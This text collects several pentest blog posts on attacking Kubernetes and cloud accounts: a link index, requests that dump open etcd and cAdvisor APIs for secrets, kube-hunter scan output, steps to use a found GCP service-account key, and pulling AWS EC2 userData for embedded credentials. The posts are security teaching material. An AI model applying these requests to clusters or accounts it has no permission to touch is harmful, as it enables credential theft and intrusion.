https://1.2.3.4:10250/containerLogs/kube-system/monitoring-influxdb-grafana-v4-6679c46745-zhvjw/influxdb



Share
Categories
Cloud devoops hacking Intelwars Kubernetes Pentesting

Kubernetes: Master Post

I have a few Kubernetes posts queued up and will make this the master post to index and give references for the topic. If i’m missing blog posts or useful resources ping me here or twitter.

Talks you should watch if you are interested in Kubernetes:

Hacking and Hardening Kubernetes Clusters by Example [I] – Brad Geesaman

https://www.youtube.com/watch?v=vTgQLzeBfRU
https://github.com/bgeesaman/
https://github.com/bgeesaman/hhkbe [demos for the talk above]
https://schd.ws/hosted_files/kccncna17/d8/Hacking%20and%20Hardening%20Kubernetes%20By%20Example%20v2.pdf [slide deck]

Perfect Storm Taking the Helm of Kubernetes Ian Coldwater

https://www.youtube.com/watch?v=1k-GIDXgfLw

A Hacker’s Guide to Kubernetes and the Cloud – Rory McCune
https://www.youtube.com/watch?v=dxKpCO2dAy8
Shipping in Pirate-Infested Waters: Practical Attack and Defense in Kubernetes

https://www.youtube.com/watch?v=ohTq0no0ZVU

Blog posts by others:

https://techbeacon.com/hackers-guide-kubernetes-security
https://elweb.co/the-security-footgun-in-etcd/
https://www.4armed.com/blog/hacking-kubelet-on-gke/
https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/
https://www.4armed.com/blog/hacking-digitalocean-kubernetes/
https://github.com/freach/kubernetes-security-best-practice
https://neuvector.com/container-security/kubernetes-security-guide/
https://medium.com/@pczarkowski/the-kubernetes-api-call-is-coming-from-inside-the-cluster-f1a115bd2066
https://blog.intothesymmetry.com/2018/12/persistent-xsrf-on-kubernetes-dashboard.html
https://raesene.github.io/blog/2016/10/14/Kubernetes-Attack-Surface-cAdvisor/
https://raesene.github.io/blog/2017/05/01/Kubernetes-Security-etcd/
https://raesene.github.io/blog/2017/04/02/Kubernetes-Service-Tokens/
https://www.cyberark.com/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions/
https://labs.mwrinfosecurity.com/blog/attacking-kubernetes-through-kubelet/
https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/

Auditing tools

https://github.com/Shopify/kubeaudit
https://github.com/aquasecurity/kube-bench
https://github.com/aquasecurity/kube-hunter

CVE-2018-1002105 resources

https://blog.appsecco.com/analysing-and-exploiting-kubernetes-apiserver-vulnerability-cve-2018-1002105-3150d97b24bb
https://gravitational.com/blog/kubernetes-websocket-upgrade-security-vulnerability/
https://github.com/gravitational/cve-2018-1002105
https://github.com/evict/poc_CVE-2018-1002105

CG Posts:

Open Etcd: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-open-etcd.html
Etcd with kube-hunter: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kube-hunterpy-etcd.html
cAdvisor: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-cadvisor.html

Kubernetes ports: https://carnal0wnage.attackresearch.com/2019/01/kubernetes-list-of-ports.html
Kubernetes dashboards: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kubernetes-dashboard.html
Kublet 10255: https://carnal0wnage.attackresearch.com/2019/01/kubernetes-kube-hunter-10255.html
Kublet 10250
     – Container Logs: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kubelet-api-containerlogs.html
     – Getting shellz 1: https://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250.html
     – Getting shellz 2: https://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250_16.html

Cloud Metadata Urls and Kubernetes

-I’ll update as they get posted

Share
Categories
Cloud devoops hacking Intelwars Kubernetes Pentesting

Kubernetes: open etcd

Quick post on Kubernetes and open etcd (port 2379)

etcd is a distributed key-value store. In fact, etcd is the primary datastore of Kubernetes; storing and replicating all Kubernetes cluster state. As a critical component of a Kubernetes cluster having a reliable automated approach to its configuration and management is imperative.”

-from: https://coreos.com/blog/introducing-the-etcd-operator.html 

What this means in english is that etcd stores the current state of the Kubernetes cluster usually including the kubernetes tokens and passwords.  If you check out the following references you can get a sense for the pain level that could potentially be involved. At minimum you can get network info or running pods and at best credentials.

refs: 
https://techbeacon.com/hackers-guide-kubernetes-security 
https://elweb.co/the-security-footgun-in-etcd/
https://raesene.github.io/blog/2017/05/01/Kubernetes-Security-etcd/

the second link talks extensively around types of info the found when they hit all the shodan endpoints for 2379 and did some analysis on the results.

If you manage to find open etcd the easiest way to check for creds is to just do a curl request for:

GET http://ip_address:2379/v2/keys/?recursive=true

Example Loot – 

Usually it’s boring stuff like this:


But occasionally you’ll get more interesting things like:


or more fun things like kublet tokens:



Share
Categories
Cloud devoops hacking Intelwars Kubernetes Pentesting

Kubernetes: cAdvisor

“cAdvisor (Container Advisor) provides container users an understanding of the resource usage and performance characteristics of their running containers. It is a running daemon that collects, aggregates, processes, and exports information about running containers.”

runs on port 4194

Links:
https://kubernetes.io/docs/tasks/debug-application-cluster/resource-usage-monitoring/
https://raesene.github.io/blog/2016/10/14/Kubernetes-Attack-Surface-cAdvisor/

What do you get?

information disclosure about metrics of the containers.

Example request to hit the API and dump data:

http://1.2.3.4:4194/api/v2.0/spec?recursive=true

Screenshots

Share
Categories
Cloud devoops hacking Intelwars Kubernetes Pentesting

Kubernetes: kube-hunter.py etcd


I mentioned in the master post one a few auditing tools that exist. Kube-Hunter is one that is pretty ok.  You can use this to quickly scan for multiple kubernetes issues.


Example run:
$ ./kube-hunter.py
Choose one of the options below:
1. Remote scanning      (scans one or more specific IPs or DNS names)
2. Subnet scanning      (scans subnets on all local network interfaces)
3. IP range scanning    (scans a given IP range)
Your choice: 1
Remotes (separated by a ‘,’): 1.2.3.4
~ Started
~ Discovering Open Kubernetes Services…
|
| Etcd:
|   type: open service
|   service: Etcd
|_  host: 1.2.3.4:2379
|
| Etcd Remote version disclosure:
|   type: vulnerability
|   host: 1.2.3.4:2379
|   description:
|     Remote version disclosure might give an
|_    attacker a valuable data to attack a cluster
|
| Etcd is accessible using insecure connection (HTTP):
|   type: vulnerability
|   host: 1.2.3.4:2379
|   description:
|     Etcd is accessible using HTTP (without
|     authorization and authentication), it would allow a
|     potential attacker to
|     gain access to
|_    the etcd
|
| Etcd Remote Read Access Event:
|   type: vulnerability
|   host: 1.2.3.4:2379
|   description:
|     Remote read access might expose to an
|_    attacker cluster’s possible exploits, secrets and more.

———-

Nodes
+————-+—————-+
| TYPE        | LOCATION       |
+————-+—————-+
| Node/Master | 1.2.3.4        |
+————-+—————-+

Detected Services
+———+———————+———————-+
| SERVICE | LOCATION            | DESCRIPTION          |
+———+———————+———————-+
| Etcd    | 1.2.3.4:2379        | Etcd is a DB that    |
|         |                     | stores cluster’s     |
|         |                     | data, it contains    |
|         |                     | configuration and    |
|         |                     | current state        |
|         |                     | information, and     |
|         |                     | might contain        |
|         |                     | secrets              |
+———+———————+———————-+

Vulnerabilities
+————–+——————+———————-+———————+————————–+
| LOCATION     | CATEGORY         | VULNERABILITY        | DESCRIPTION         | EVIDENCE                 |
+————–+——————+———————-+———————+————————–+
| 1.2.3.4:2379 | Unauthenticated  | Etcd is accessible   | Etcd is accessible  | {“etcdserver”:”3.3.9     |
|              | Access           | using insecure       | using HTTP (without | “,”etcdcluster”:”3.3     |
|              |                  | connection (HTTP)    | authorization and   | …                      |
|              |                  |                      | authentication), it |                          |
|              |                  |                      | would allow a       |                          |
|              |                  |                      | potential attacker  |                          |
|              |                  |                      | to                  |                          |
|              |                  |                      |     gain access to  |                          |
|              |                  |                      | the etcd            |                          |
+———————+———————-+———————-+———————-+————–+
| 1.2.3.4:2379 | Information      | Etcd Remote version  | Remote version      | {“etcdserver”:”3.3.9     |
|              | Disclosure       | disclosure           | disclosure might    | “,”etcdcluster”:”3.3     |
|              |                  |                      | give an attacker a  | …                      |
|              |                  |                      | valuable data to    |                          |
|              |                  |                      | attack a cluster    |                          |
+———————+———————-+———————-+———————-+————–+
| 1.2.3.4:2379 | Access Risk      | Etcd Remote Read     | Remote read access  | {“action”:”get”,”nod     |
|              |                  | Access Event         | might expose to an  | e”:{“dir”:true,”node     |
|              |                  |                      | attacker cluster’s  | …                      |
|              |                  |                      | possible exploits,  |                          |
|              |                  |                      | secrets and more.   |                          |
+————–+——————+———————-+———————+————————–+

Share
Categories
Cloud devoops GCP hacking Intelwars Pentesting

I found a GCP service account token…now what?

Google Cloud Platform (GCP) is rapidly growing in popularity and i haven’t seen too many posts on  f**king it up so I’m going to do at least one 🙂

Google has several ways to do authentication but most likely what you are going to come across shoved into code somewhere or in a dotfiles is a service account json file.

It’s going to look similar to this:

These service account files are similar to AWS tokens in that it can be difficult to determine what they have access to if you don’t already have console and/or IAM access. However with a little bit of scripting we can brute force at least some of the token’s functionality pretty quickly. The issue being service accounts for something like GCP compute looks the same as one you made to manage your calendar or one of the 100’s of other Google services.

You’ll need to install the gcloud tools for you OS. Info here:  https://cloud.google.com/sdk/

Once you have the gcloud suite of tools installed you can auth with the json file with the following command:

gcloud auth activate-service-account –key-file=KEY_FILE

If they key is invalid you’ll see something like the below:

gcloud auth activate-service-account –key-file=21.json
ERROR: (gcloud.auth.activate-service-account) There was a problem refreshing your current auth tokens: invalid_grant: Not a valid email or user ID.

Otherwise it will look similar to below:

gcloud auth activate-service-account –key-file=/Users/CG/Documents/pentest/gcp-weirdaal/gcp.json
Activated service account credentials for: [python@removed.iam.gserviceaccount.com]

you can validate it worked by issuing gcloud auth list command:

gcloud auth list
                  Credentialed Accounts
ACTIVE  ACCOUNT

*       python@removed.iam.gserviceaccount.com

I put together a shell script that runs though a bunch of command to enumerate information. They only you info need to provide is the project name. This can be found in the json file in the project_id  field or by issuing the  gcloud project list command.  Sometimes there are multiple projects associated with an account and you’d need to run the shell script with for each project.
The first time you run these api calls you might need to pass a “Y” to the cli to enable it. you can get around this manual shenanigans by doing a:
yes | ./gcp_enum.sh 
This will answer Yes for you each time 🙂
The script is here: https://gist.github.com/carnal0wnage/757d19520fcd9764b24ebd1d89481541

NCC Group also has two tools you could check out:

https://github.com/nccgroup/G-Scout

and

https://github.com/nccgroup/ScoutSuite

enjoy

CG

Share
Categories
AWS Cloud EC2 Intelwars Pentesting

AWS EC2 instance userData

In the effort to get me blogging again I’ll be doing a few short posts to get the juices flowing (hopefully).

Today I learned about the userData instance attribute for AWS EC2.

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html

In general I thought metadata was only things you can hit from WITHIN the instance via the metadata url: http://169.254.169.254/latest/meta-data/

However, if you read the link above there is an option to add metadata at boot time. 

You can also use instance metadata to access user data that you specified when launching your instance. For example, you can specify parameters for configuring your instance, or attach a simple script. 

That’s interesting right?!?!  so if you have some AWS creds the easiest way to check for this (after you enumerate instance IDs) is with the aws cli.

$ aws ec2 describe-instance-attribute –attribute userData –instance-id i-0XXXXXXXX

An error occurred (InvalidInstanceID.NotFound) when calling the DescribeInstanceAttribute operation: The instance ID ‘i-0XXXXXXXX’ does not exist

ah crap, you need the region…

$ aws ec2 describe-instance-attribute –attribute userData –instance-id i-0XXXXXXXX –region us-west-1
{
    “InstanceId”: “i-0XXXXXXXX”,
    “UserData”: {
        “Value”: “bm90IHRvZGF5IElTSVMgOi0p”}

anyway that can get tedious especially if the org has a ton of things running.  This is precisely the reason @cktricky and I built weirdAAL.  Surely no one would be sticking creds into things at boot time via shell scripts 🙂

The module loops trough all the regions and any instances it finds and queries for the userData attribute.  Hurray for automation.

That module is in the current version of weirdAAL. Enjoy.

-CG

Share